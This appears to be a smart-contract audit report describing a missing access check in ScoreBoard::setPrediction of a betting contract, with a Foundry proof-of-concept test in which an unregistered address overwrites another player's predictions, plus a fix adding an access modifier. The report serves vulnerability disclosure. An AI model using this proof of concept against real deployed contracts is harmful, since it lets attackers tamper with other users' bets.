Summary
Anyone can change others predictions
Vulnerability Details
There is lack of check who changes prediction in ScoreBoard::setPrediction. As a result anyone can change others prediction even without registering.
Proof of concept
Copy test to ThePredicter.test.sol
function test_anyoneCanChangeOthersPredictions() public{
vm.startPrank(stranger);
vm.deal(stranger, 1 ether);
thePredicter.register{value: 0.04 ether}();
vm.stopPrank();
vm.prank(organizer);
thePredicter.approvePlayer(stranger);
vm.startPrank(stranger);
thePredicter.makePrediction{value: 0.0001 ether}(
1,
ScoreBoard.Result.Draw
);
thePredicter.makePrediction{value: 0.0001 ether}(
2,
ScoreBoard.Result.Draw
);
thePredicter.makePrediction{value: 0.0001 ether}(
3,
ScoreBoard.Result.Draw
);
vm.stopPrank();
address maliciousUser = makeAddr("maliciousUser");
vm.startPrank(maliciousUser);
scoreBoard.setPrediction(stranger, 1, ScoreBoard.Result.First);
scoreBoard.setPrediction(stranger, 2, ScoreBoard.Result.First);
scoreBoard.setPrediction(stranger, 3, ScoreBoard.Result.First);
vm.stopPrank();
}
run command forge test --mt test_anyoneCanChangeOthersPredictions -vvv
Test will pass and maliciousUser changed stranger's predictions
Impact
High, breaking contract functionality
Tools Used
Manual review
Recommendations
Consider not allowing changing predictions by adding access modifier to setPrediction function
function setPrediction(
address player,
uint256 matchNumber,
Result result
+ ) public onlyThePredicter {
- ) public {
if (block.timestamp <= START_TIME + matchNumber * 68400 - 68400)
playersPredictions[player].predictions[matchNumber] = result;
playersPredictions[player].predictionsCount = 0;
for (uint256 i = 0; i < NUM_MATCHES; ++i) {
if (
playersPredictions[player].predictions[i] != Result.Pending &&
playersPredictions[player].isPaid[i]
) ++playersPredictions[player].predictionsCount;
}
}